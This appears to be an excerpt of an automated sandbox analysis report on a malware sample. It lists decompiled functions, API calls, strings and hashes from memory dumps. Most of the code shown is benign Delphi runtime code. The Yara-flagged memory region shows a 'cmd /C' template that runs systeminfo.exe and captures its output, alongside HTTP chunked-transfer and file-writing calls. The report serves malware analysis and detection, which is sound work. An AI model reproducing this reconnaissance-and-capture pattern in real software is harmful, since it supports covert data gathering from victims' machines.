							 *0x3dbb44 = _t25;
						}
					}
				}
				_v8 = E0039D3CC(_t42, 1, 0);
				_push(_t44);
				_push(0x3bca96);
				_push( *[fs:eax]);
				 *[fs:eax] = _t45;
				if( *0x3dbb44 == 0) {
					_t9 = _v8;
					if(_t9 != 0) {
						_t9 = _t9 - 0xffffffec;
					}
					_push(_t9);
					_t11 = E003BB8E4(_t27);
					_push(_t11);
					L003A5CBC();
					if(_t11 == 0) {
						_t32 =  *0x3d9f94; // 0x39dc90
						E0038B680(_t32, 1);
						E00383870();
					}
				} else {
					_t17 = _v8;
					if(_t17 != 0) {
						_t17 = _t17 - 0xffffffec;
					}
					_push(_t17);
					_push(1);
					_push(E003BB8E4(_t27));
					if( *0x3dbb44() != 0) {
						_t33 =  *0x3d9f94; // 0x39dc90
						E0038B680(_t33, 1);
						E00383870();
					}
				}
				_pop(_t36);
				 *[fs:eax] = _t36;
				_push(0x3bca9d);
				return E003830FC(_v8);
			}

0x003bc99d
0x003bc9a0
0x003bc9a3
0x003bc9a5
0x003bc9ae
0x003bc9ba
0x003bc9c9
0x003bc9d0
0x003bc9d5
0x003bc9d9
0x003bc9db
0x003bc9e0
0x003bc9e1
0x003bc9e6
0x003bc9e6
0x003bc9d9
0x003bc9c9
0x003bc9fb
0x003bca00
0x003bca01
0x003bca06
0x003bca09
0x003bca13
0x003bca4d
0x003bca52
0x003bca54
0x003bca54
0x003bca57
0x003bca5a
0x003bca5f
0x003bca60
0x003bca67
0x003bca69
0x003bca76
0x003bca7b
0x003bca7b
0x003bca15
0x003bca15
0x003bca1a
0x003bca1c
0x003bca1c
0x003bca1f
0x003bca20
0x003bca29
0x003bca32
0x003bca34
0x003bca41
0x003bca46
0x003bca46
0x003bca32
0x003bca82
0x003bca85
0x003bca88
0x003bca95

APIs

Part of subcall function 0038BE5C: 72FF1C9C.VERSION(00000000,?,00000000,0038BF32), ref: 0038BE9E
Part of subcall function 0038BE5C: 72FF1CED.VERSION(00000000,?,00000000,?,00000000,0038BF15,?,00000000,?,00000000,0038BF32), ref: 0038BED3
Part of subcall function 0038BE5C: 72FF1B72.VERSION(?,0038BF44,?,?,00000000,?,00000000,?,00000000,0038BF15,?,00000000,?,00000000,0038BF32), ref: 0038BEED

GetModuleHandleA.KERNEL32(comctl32.dll), ref: 003BC9D0
70D9FFF6.KERNEL32(00000000,ImageList_WriteEx,comctl32.dll), ref: 003BC9E1
73566DBD.COMCTL32(00000000,?,00000000,003BCA96), ref: 003BCA60

Strings

ImageList_WriteEx, xrefs: 003BC9DB
H9, xrefs: 003BCA3C, 003BCA71
,U9, xrefs: 003BC9F1
comctl32.dll, xrefs: 003BC9CB
comctl32.dll, xrefs: 003BC9B0

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: 73566HandleModule
String ID: ,U9$ImageList_WriteEx$comctl32.dll$comctl32.dll$H9
API String ID: 2397293916-3208384758
Opcode ID: 29eb14f8f541b0b3671c444ba64b83703bda824a76e8be910a7f08977354070b
Instruction ID: c9a1b02f7e63a460791fc51ccca6a672ea4c5379cf1f731aece5687caa9b5f94
Opcode Fuzzy Hash: 29eb14f8f541b0b3671c444ba64b83703bda824a76e8be910a7f08977354070b
Instruction Fuzzy Hash: 8121A1703112099BE733FF74ED56AAAB7ADAB44B0CF02146AF905DBAA1DB71DC008710

Uniqueness

Uniqueness Score: -1.00%

Function 0235565D, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 64memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000000,?,?,?,?,?,02345FDF,systeminfo.exe ,00000000,?,00002334), ref: 0235566E
lstrlen.KERNEL32(?,?,?,?,?,?,02345FDF,systeminfo.exe ,00000000,?,00002334,?,?,?,?,023466F5), ref: 02355675
RtlAllocateHeap.NTDLL(00000000,?), ref: 02355687
_snprintf.NTDLL ref: 023556AA

Part of subcall function 0234BF48: memset.NTDLL ref: 0234BF5D
Part of subcall function 0234BF48: lstrlenW.KERNEL32(00000000,00000000,00000000,771F49F0,00000000,cmd /C "%s> %s1"), ref: 0234BF98
Part of subcall function 0234BF48: wcstombs.NTDLL ref: 0234BFA2
Part of subcall function 0234BF48: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,0C000000,00000000,00000000,00000044,?), ref: 0234BFD6
Part of subcall function 0234BF48: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,023556BA), ref: 0234C002
Part of subcall function 0234BF48: TerminateProcess.KERNEL32(?,000003E5), ref: 0234C018
Part of subcall function 0234BF48: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,023556BA), ref: 0234C02C
Part of subcall function 0234BF48: CloseHandle.KERNEL32(?), ref: 0234C05F
Part of subcall function 0234BF48: CloseHandle.KERNEL32(?), ref: 0234C064

_snprintf.NTDLL ref: 023556D5

Part of subcall function 0234BF48: GetLastError.KERNEL32 ref: 0234C030
Part of subcall function 0234BF48: GetExitCodeProcess.KERNEL32(?,00000001), ref: 0234C050

HeapFree.KERNEL32(00000000,?,00000000), ref: 023556F8

Strings

echo -------- >, xrefs: 023556C9
cmd /C "%s> %s1", xrefs: 02355699, 023556A1, 023556CE

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Processlstrlen$CloseHandleHeapMultipleObjectsWait_snprintf$AllocateCodeCreateErrorExitFreeLastTerminatememsetwcstombs
String ID: cmd /C "%s> %s1"$echo -------- >
API String ID: 1481739438-1722754249
Opcode ID: 41000a8fa9dca6a95d1ef0b32365f0746c779e3bf565ac67b0f2ef0ba82bcb50
Instruction ID: f5a2b507a30e79c91c5e87a48567a88c1b998d7119570c7591f12f2d59e088df
Opcode Fuzzy Hash: 41000a8fa9dca6a95d1ef0b32365f0746c779e3bf565ac67b0f2ef0ba82bcb50
Instruction Fuzzy Hash: F41190B2D40228BBCF125F54DC09F9E7F7EEF48764F108155F90466290C771AA209F90

Uniqueness

Uniqueness Score: -1.00%

Function 003A5092, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E003A5092() {
				void* _t1;
				intOrPtr _t20;
				intOrPtr _t22;

				 *0x3db898 =  *0x3db898 - 1;
				if( *0x3db898 < 0) {
					E003A4B98();
					_push(0x3db8b0);
					L003862B4();
					_push(0x3db8c8);
					L003862B4();
					 *0x3db8a0 = GetStockObject(7);
					 *0x3db8a4 = GetStockObject(5);
					 *0x3db8a8 = GetStockObject(0xd);
					 *0x3db8ac = LoadIconA(0, 0x7f00);
					E003A4C14();
					 *0x3db8e0 = E0039EC10(0x2c, 1);
					 *0x3db8e4 = E0039EC10(0x10, 1);
					 *0x3db8e8 = E0039EC10(0x10, 1);
					 *0x3db8f0 = E003A4CE0(1);
					 *0x3d96ec = E00397148(1);
					 *0x3db8ec = E00397148(1);
					_t20 =  *0x39ded8; // 0x39dedc
					E003968FC(_t20, E0039F468, 0x39f478);
					_t22 =  *0x39e008; // 0x39e00c
					return E003968FC(_t22, 0x39f670, E0039F680);
				}
				return _t1;
			}

0x003a5094
0x003a509b
0x003a50a1
0x003a50a6
0x003a50ab
0x003a50b0
0x003a50b5
0x003a50c1
0x003a50cd
0x003a50d9
0x003a50ea
0x003a50ef
0x003a5104
0x003a5119
0x003a512e
0x003a513f
0x003a5150
0x003a5161
0x003a5170
0x003a5175
0x003a5184
0x00000000
0x003a5189
0x003a518e

APIs

Part of subcall function 003A4B98: GetDC.USER32(00000000), ref: 003A4B9B
Part of subcall function 003A4B98: GetDeviceCaps.GDI32(00000000,0000005A), ref: 003A4BA5
Part of subcall function 003A4B98: ReleaseDC.USER32(00000000,00000000), ref: 003A4BB2

RtlInitializeCriticalSection.KERNEL32(003DB8B0), ref: 003A50AB
RtlInitializeCriticalSection.KERNEL32(003DB8C8,003DB8B0), ref: 003A50B5
GetStockObject.GDI32(00000007), ref: 003A50BC
GetStockObject.GDI32(00000005), ref: 003A50C8
GetStockObject.GDI32(0000000D), ref: 003A50D4
LoadIconA.USER32 ref: 003A50E5

Part of subcall function 003A4C14: MulDiv.KERNEL32 ref: 003A4C21
Part of subcall function 003A4C14: MulDiv.KERNEL32 ref: 003A4C5D

Part of subcall function 0039EC10: RtlInitializeCriticalSection.KERNEL32(?), ref: 0039EC2A

Part of subcall function 003A4CE0: RtlInitializeCriticalSection.KERNEL32(-0000001A), ref: 003A4CF6

Part of subcall function 00397148: RtlInitializeCriticalSection.KERNEL32(00394C84,?,?,0039DC11,00000000,0039DC35), ref: 00397167

Strings

9, xrefs: 003A50FA, 003A510F, 003A5124
|L9, xrefs: 003A5146, 003A5157

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalInitializeSection$ObjectStock$CapsDeviceIconLoadRelease
String ID: |L9$9
API String ID: 722316627-1556383638
Opcode ID: e825d405894f5e48bff13e3703ff160464b3817a0d012f718d0ff0588a997730
Instruction ID: 68665ef2ca016047f615e4aea48b036b3e4e96d70e89e4d9df1d8d989d8b15b6
Opcode Fuzzy Hash: e825d405894f5e48bff13e3703ff160464b3817a0d012f718d0ff0588a997730
Instruction Fuzzy Hash: 4511C070616281EEDB03FF79FC83A5A77EDEB01708F11442AE5088F2A2DB625804AF55

Uniqueness

Uniqueness Score: -1.00%

Function 003C82EC, Relevance: 13.6, APIs: 9, Instructions: 150
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003C82EC(intOrPtr* __eax, int __ecx, int __edx) {
				char _t62;
				signed int _t64;
				signed int _t65;
				signed char _t107;
				intOrPtr _t113;
				intOrPtr _t114;
				int _t117;
				intOrPtr* _t118;
				int _t119;
				int* _t121;

				 *_t121 = __ecx;
				_t117 = __edx;
				_t118 = __eax;
				if(__edx ==  *_t121) {
					L29:
					_t62 =  *0x3c8498; // 0x0
					 *((char*)(_t118 + 0x98)) = _t62;
					return _t62;
				}
				if(( *(__eax + 0x1c) & 0x00000001) == 0) {
					_t107 =  *0x3c8490; // 0x1f
				} else {
					_t107 =  *((intOrPtr*)(__eax + 0x98));
				}
				if((_t107 & 0x00000001) == 0) {
					_t119 =  *(_t118 + 0x40);
				} else {
					_t119 = MulDiv( *(_t118 + 0x40), _t117,  *_t121);
				}
				if((_t107 & 0x00000002) == 0) {
					_t121[1] =  *(_t118 + 0x44);
				} else {
					_t121[1] = MulDiv( *(_t118 + 0x44), _t117,  *_t121);
				}
				if((_t107 & 0x00000004) == 0 || ( *(_t118 + 0x51) & 0x00000001) != 0) {
					_t64 =  *(_t118 + 0x48);
					_t121[2] = _t64;
				} else {
					if((_t107 & 0x00000001) == 0) {
						_t64 = MulDiv( *(_t118 + 0x48), _t117,  *_t121);
						_t121[2] = _t64;
					} else {
						_t64 = MulDiv( *(_t118 + 0x40) +  *(_t118 + 0x48), _t117,  *_t121) - _t119;
						_t121[2] = _t64;
					}
				}
				_t65 = _t64 & 0xffffff00 | (_t107 & 0x00000008) != 0x00000000;
				if(_t65 == 0 || ( *(_t118 + 0x51) & 0x00000002) != 0) {
					_t121[3] =  *(_t118 + 0x4c);
				} else {
					if(_t65 == 0) {
						_t121[3] = MulDiv( *(_t118 + 0x44), _t117,  *_t121);
					} else {
						_t121[3] = MulDiv( *(_t118 + 0x44) +  *(_t118 + 0x4c), _t117,  *_t121) - _t121[1];
					}
				}
				 *((intOrPtr*)( *_t118 + 0x84))(_t121[4], _t121[2]);
				_t113 =  *0x3c8498; // 0x0
				if(_t113 != (_t107 &  *0x3c8494)) {
					 *(_t118 + 0x90) = MulDiv( *(_t118 + 0x90), _t117,  *_t121);
				}
				_t114 =  *0x3c8498; // 0x0
				if(_t114 != (_t107 &  *0x3c849c)) {
					 *(_t118 + 0x94) = MulDiv( *(_t118 + 0x94), _t117,  *_t121);
				}
				if( *((char*)(_t118 + 0x59)) == 0 && (_t107 & 0x00000010) != 0) {
					E0039FBB8( *((intOrPtr*)(_t118 + 0x68)), MulDiv(E0039FB9C( *((intOrPtr*)(_t118 + 0x68))), _t117,  *_t121));
				}
				goto L29;
			}

0x003c82f3
0x003c82f6
0x003c82f8
0x003c82fd
0x003c847a
0x003c847a
0x003c847f
0x003c848c
0x003c848c
0x003c8307
0x003c8311
0x003c8309
0x003c8309
0x003c8309
0x003c831a
0x003c832e
0x003c831c
0x003c832a
0x003c832a
0x003c8334
0x003c834d
0x003c8336
0x003c8344
0x003c8344
0x003c8354
0x003c838e
0x003c8391
0x003c835c
0x003c835f
0x003c8383
0x003c8388
0x003c8361
0x003c8372
0x003c8374
0x003c8374
0x003c835f
0x003c8398
0x003c839d
0x003c83e1
0x003c83a5
0x003c83ad
0x003c83d8
0x003c83af
0x003c83c4
0x003c83c4
0x003c83ad
0x003c83f9
0x003c8407
0x003c840f
0x003c8422
0x003c8422
0x003c8430
0x003c8438
0x003c844b
0x003c844b
0x003c8455
0x003c8475
0x003c8475
0x00000000

APIs

MulDiv.KERNEL32 ref: 003C8325
MulDiv.KERNEL32 ref: 003C833F
MulDiv.KERNEL32 ref: 003C836D
MulDiv.KERNEL32 ref: 003C8383
MulDiv.KERNEL32 ref: 003C83BB
MulDiv.KERNEL32 ref: 003C83D3
MulDiv.KERNEL32 ref: 003C841D
MulDiv.KERNEL32 ref: 003C8446
MulDiv.KERNEL32 ref: 003C846C

Part of subcall function 0039FBB8: MulDiv.KERNEL32 ref: 0039FBC5

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b194afe25c4ca3a0e5e3efa7f8e31d8d72143133c623ca20cf19bd89bf9c501
Instruction ID: 63e9620ef904f89834d93043e5685304449dcb60ffa9bcbb48e4b6676124b3cf
Opcode Fuzzy Hash: 6b194afe25c4ca3a0e5e3efa7f8e31d8d72143133c623ca20cf19bd89bf9c501
Instruction Fuzzy Hash: 98513974208355AFC322EF69C885F6ABBECAF45740F084C5DB9D9CB652CA35ED418B20

Uniqueness

Uniqueness Score: -1.00%

Function 003C918C, Relevance: 13.6, APIs: 9, Instructions: 122
windowCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E003C918C(void* __ebx, char __ecx, intOrPtr* __edx, void* __edi, void* __esi) {
				char _v5;
				struct HWND__* _v12;
				struct HDC__* _v16;
				void* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				int _v32;
				int _v36;
				int _t76;
				intOrPtr _t82;
				int _t85;
				void* _t90;
				int _t91;
				void* _t94;
				void* _t95;
				intOrPtr _t96;

				_t94 = _t95;
				_t96 = _t95 + 0xffffffe0;
				_v5 = __ecx;
				_t76 =  *((intOrPtr*)( *__edx + 0x38))();
				if(_v5 == 0) {
					_push(__edx);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_pop(_t90);
				} else {
					_push(__edx);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_pop(_t90);
				}
				_v12 = GetDesktopWindow();
				_v16 = GetDCEx(_v12, 0, 0x402);
				_push(_t94);
				_push(0x3c92a7);
				_push( *[fs:eax]);
				 *[fs:eax] = _t96;
				_v20 = SelectObject(_v16, E003A0118( *((intOrPtr*)(_t90 + 0x40))));
				_t91 = _v36;
				_t85 = _v32;
				PatBlt(_v16, _t91 + _t76, _t85, _v28 - _t91 - _t76, _t76, 0x5a0049);
				PatBlt(_v16, _v28 - _t76, _t85 + _t76, _t76, _v24 - _t85 - _t76, 0x5a0049);
				PatBlt(_v16, _t91, _v24 - _t76, _v28 - _v36 - _t76, _t76, 0x5a0049);
				PatBlt(_v16, _t91, _t85, _t76, _v24 - _v32 - _t76, 0x5a0049);
				SelectObject(_v16, _v20);
				_pop(_t82);
				 *[fs:eax] = _t82;
				_push(0x3c92ae);
				return ReleaseDC(_v12, _v16);
			}

0x003c918d
0x003c918f
0x003c9195
0x003c91a1
0x003c91a7
0x003c91b7
0x003c91be
0x003c91bf
0x003c91c0
0x003c91c1
0x003c91c2
0x003c91a9
0x003c91a9
0x003c91b0
0x003c91b1
0x003c91b2
0x003c91b3
0x003c91b4
0x003c91b4
0x003c91c8
0x003c91db
0x003c91e0
0x003c91e1
0x003c91e6
0x003c91e9
0x003c91fe
0x003c920a
0x003c9212
0x003c921f
0x003c9241
0x003c9260
0x003c927a
0x003c9287
0x003c928e
0x003c9291
0x003c9294
0x003c92a6

APIs

GetDesktopWindow.USER32 ref: 003C91C3
GetDCEx.USER32 ref: 003C91D6
SelectObject.GDI32(?,00000000), ref: 003C91F9
PatBlt.GDI32(?,?,?,?,00000000,005A0049), ref: 003C921F
PatBlt.GDI32(?,?,?,00000000,?,005A0049), ref: 003C9241
PatBlt.GDI32(?,?,?,?,00000000,005A0049), ref: 003C9260
PatBlt.GDI32(?,?,?,00000000,?,005A0049), ref: 003C927A
SelectObject.GDI32(?,?), ref: 003C9287
ReleaseDC.USER32(?,?), ref: 003C92A1

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: ObjectSelect$DesktopReleaseWindow
String ID:
API String ID: 1187665388-0
Opcode ID: ee6cf2be2257eb55893de8ef10c1a9b52f976645e32a80cbcca19c8f16d9ffc7
Instruction ID: a9eaa952c73ef650e7b2904c1884428586d25ba75b6b62a02e0ade8c3678084c
Opcode Fuzzy Hash: ee6cf2be2257eb55893de8ef10c1a9b52f976645e32a80cbcca19c8f16d9ffc7
Instruction Fuzzy Hash: 0431DBB6A00619BFDB41EEEDCC8AEAFBBBCEF49700B414465B504F7241C675AD048B60

Uniqueness

Uniqueness Score: -1.00%

Function 0236005A, Relevance: 13.6, APIs: 9, Instructions: 110stringmemoryCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(02360BEE,-00000008,-00000008,?,?,?,?,02360BEE,-00000008,?,?,-00000008,?,0234E5CE,Transfer-Encoding:, chunked), ref: 02360071
lstrlen.KERNEL32(-00000008,?,?,?,02360BEE,-00000008,?,?,-00000008,?,0234E5CE,Transfer-Encoding:, chunked), ref: 02360079
lstrlen.KERNEL32(?,?,?,?,02360BEE), ref: 023600E4
RtlAllocateHeap.NTDLL(00000000,?), ref: 0236010F
memcpy.NTDLL(00000000,00000002,-00000106,?,?,?,02360BEE), ref: 02360120
memcpy.NTDLL(00000000,02360BEE,02360BEE,?,?,?,?,?,?,02360BEE), ref: 02360136
memcpy.NTDLL(00000000,?,?,00000000,02360BEE,02360BEE,?,?,?,?,?,?,02360BEE), ref: 02360148
memcpy.NTDLL(00000000,023633F4,00000002,00000000,?,?,00000000,02360BEE,02360BEE,?,?,?,?,?,?,02360BEE), ref: 0236015B
memcpy.NTDLL(00000000,?,00000002,?,?,?,?,?,?,02360BEE), ref: 02360170

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: memcpy$lstrlen$AllocateHeap
String ID:
API String ID: 3386453358-0
Opcode ID: b260df55d19e4090eef0afd96c56449927bb599c17504869c73eed017895e5d2
Instruction ID: 5f3fc7947ff3c7cdd03fe985697f3289d58d44ef504a8df3318c820ff2e9933b
Opcode Fuzzy Hash: b260df55d19e4090eef0afd96c56449927bb599c17504869c73eed017895e5d2
Instruction Fuzzy Hash: BD412CB2D00219EBCF10CFA4CC89AAEBBB9FF48354F148456ED55A7205E7719A54CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0235289B, Relevance: 13.6, APIs: 9, Instructions: 90filesynchronizationCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000), ref: 023528DC
GetLastError.KERNEL32 ref: 023528E6
WaitForSingleObject.KERNEL32(000000C8), ref: 0235290B
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,?,00000080,00000000), ref: 0235292C
SetFilePointer.KERNEL32(00000006,00000000,00000000,00000002), ref: 02352954
WriteFile.KERNEL32(00000006,00001388,?,00000002,00000000), ref: 02352969
SetEndOfFile.KERNEL32(00000006), ref: 02352976
GetLastError.KERNEL32 ref: 02352982
CloseHandle.KERNEL32(00000006), ref: 0235298E

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: File$CreateErrorLast$CloseHandleObjectPointerSingleWaitWrite
String ID:
API String ID: 2864405449-0
Opcode ID: 12b70da0f3fe2a31d9a5df61970848e1efcc6e833a5369e0dce2325ec40965a3
Instruction ID: 02b3bef2e15e863f78016c5b6869d9547834830ca67d39937683e305801692b4
Opcode Fuzzy Hash: 12b70da0f3fe2a31d9a5df61970848e1efcc6e833a5369e0dce2325ec40965a3
Instruction Fuzzy Hash: 98319CB0D40219BFEB118FA4DD09FAEBBBDEB04714F108594FD15E6190C7748A64CB21

Uniqueness

Uniqueness Score: -1.00%

Function 02348473, Relevance: 13.6, APIs: 9, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,0234D909,00000008,0234191D,00000010,00000001,00000000,0000012B,0234191D,00000000), ref: 02348492
WriteFile.KERNEL32(?,00000001,?,?,?), ref: 023484C6
ReadFile.KERNEL32(?,00000001,?,?,?), ref: 023484CE
GetLastError.KERNEL32 ref: 023484D8
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,00002710), ref: 023484F4
GetOverlappedResult.KERNEL32(?,?,?,00000000), ref: 0234850D
CancelIo.KERNEL32(?), ref: 02348522
CloseHandle.KERNEL32(?), ref: 02348532
GetLastError.KERNEL32 ref: 0234853A

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ErrorFileLast$CancelCloseCreateEventHandleMultipleObjectsOverlappedReadResultWaitWrite
String ID:
API String ID: 4263211335-0
Opcode ID: 79c7aa1bec995d672950a7d7687de3250176236bdec7cb15322be054f586126f
Instruction ID: 5c2a02a9569ffdccc6dcd4b5acdde5cc67667c1afe7568dd5ff6b72eb03ff8b0
Opcode Fuzzy Hash: 79c7aa1bec995d672950a7d7687de3250176236bdec7cb15322be054f586126f
Instruction Fuzzy Hash: 3B214FB2E40118BFCB119FA8DC489EE7BBEFF48750F0088A6F906D2141DB309655CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0038C610, Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201
threadCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E0038C610(void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				void* _t104;
				void* _t111;
				void* _t133;
				intOrPtr _t183;
				intOrPtr _t193;
				intOrPtr _t194;

				_t191 = __esi;
				_t190 = __edi;
				_t193 = _t194;
				_t133 = 8;
				do {
					_push(0);
					_push(0);
					_t133 = _t133 - 1;
				} while (_t133 != 0);
				_push(__ebx);
				_push(_t193);
				_push(0x38c8db);
				_push( *[fs:eax]);
				 *[fs:eax] = _t194;
				E0038C49C();
				E0038AEAC(__ebx, __edi, __esi);
				_t196 =  *0x3db750;
				if( *0x3db750 != 0) {
					E0038B084(__esi, _t196);
				}
				_t132 = GetThreadLocale();
				E0038ADFC(_t43, 0, 0x14,  &_v20);
				E00383F10(0x3db684, _v20);
				E0038ADFC(_t43, 0x38c8f0, 0x1b,  &_v24);
				 *0x3db688 = E003881AC(0x38c8f0, 0, _t196);
				E0038ADFC(_t132, 0x38c8f0, 0x1c,  &_v28);
				 *0x3db689 = E003881AC(0x38c8f0, 0, _t196);
				 *0x3db68a = E0038AE48(_t132, 0x2c, 0xf);
				 *0x3db68b = E0038AE48(_t132, 0x2e, 0xe);
				E0038ADFC(_t132, 0x38c8f0, 0x19,  &_v32);
				 *0x3db68c = E003881AC(0x38c8f0, 0, _t196);
				 *0x3db68d = E0038AE48(_t132, 0x2f, 0x1d);
				E0038ADFC(_t132, "m/d/yy", 0x1f,  &_v40);
				E0038B134(_v40, _t132,  &_v36, _t190, _t191, _t196);
				E00383F10(0x3db690, _v36);
				E0038ADFC(_t132, "mmmm d, yyyy", 0x20,  &_v48);
				E0038B134(_v48, _t132,  &_v44, _t190, _t191, _t196);
				E00383F10(0x3db694, _v44);
				 *0x3db698 = E0038AE48(_t132, 0x3a, 0x1e);
				E0038ADFC(_t132, 0x38c924, 0x28,  &_v52);
				E00383F10(0x3db69c, _v52);
				E0038ADFC(_t132, 0x38c930, 0x29,  &_v56);
				E00383F10(0x3db6a0, _v56);
				E00383EBC( &_v12);
				E00383EBC( &_v16);
				E0038ADFC(_t132, 0x38c8f0, 0x25,  &_v60);
				_t104 = E003881AC(0x38c8f0, 0, _t196);
				_t197 = _t104;
				if(_t104 != 0) {
					E00383F54( &_v8, 0x38c948);
				} else {
					E00383F54( &_v8, 0x38c93c);
				}
				E0038ADFC(_t132, 0x38c8f0, 0x23,  &_v64);
				_t111 = E003881AC(0x38c8f0, 0, _t197);
				_t198 = _t111;
				if(_t111 == 0) {
					E0038ADFC(_t132, 0x38c8f0, 0x1005,  &_v68);
					if(E003881AC(0x38c8f0, 0, _t198) != 0) {
						E00383F54( &_v12, 0x38c964);
					} else {
						E00383F54( &_v16, 0x38c954);
					}
				}
				_push(_v12);
				_push(_v8);
				_push(":mm");
				_push(_v16);
				E0038423C();
				_push(_v12);
				_push(_v8);
				_push(":mm:ss");
				_push(_v16);
				E0038423C();
				 *0x3db752 = E0038AE48(_t132, 0x2c, 0xc);
				_pop(_t183);
				 *[fs:eax] = _t183;
				_push(E0038C8E2);
				return E00383EE0( &_v68, 0x10);
			}

0x0038c610
0x0038c610
0x0038c611
0x0038c613
0x0038c618
0x0038c618
0x0038c61a
0x0038c61c
0x0038c61c
0x0038c61f
0x0038c622
0x0038c623
0x0038c628
0x0038c62b
0x0038c62e
0x0038c633
0x0038c638
0x0038c63f
0x0038c641
0x0038c641
0x0038c64b
0x0038c65a
0x0038c667
0x0038c67c
0x0038c68b
0x0038c6a0
0x0038c6af
0x0038c6c2
0x0038c6d5
0x0038c6ea
0x0038c6f9
0x0038c70c
0x0038c721
0x0038c72c
0x0038c739
0x0038c74e
0x0038c759
0x0038c766
0x0038c779
0x0038c78e
0x0038c79b
0x0038c7b0
0x0038c7bd
0x0038c7c5
0x0038c7cd
0x0038c7e2
0x0038c7ec
0x0038c7f1
0x0038c7f3
0x0038c80c
0x0038c7f5
0x0038c7fd
0x0038c7fd
0x0038c821
0x0038c82b
0x0038c830
0x0038c832
0x0038c844
0x0038c855
0x0038c86e
0x0038c857
0x0038c85f
0x0038c85f
0x0038c855
0x0038c873
0x0038c876
0x0038c879
0x0038c87e
0x0038c88b
0x0038c890
0x0038c893
0x0038c896
0x0038c89b
0x0038c8a8
0x0038c8bb
0x0038c8c2
0x0038c8c5
0x0038c8c8
0x0038c8da

APIs

GetThreadLocale.KERNEL32(00000000,0038C8DB,?,?,00000000,00000000), ref: 0038C646

Part of subcall function 0038ADFC: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0038AE1A

Strings

:mm, xrefs: 0038C879
mmmm d, yyyy, xrefs: 0038C742
m/d/yy, xrefs: 0038C715
AMPM , xrefs: 0038C869
:mm:ss, xrefs: 0038C896
AMPM, xrefs: 0038C85A

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
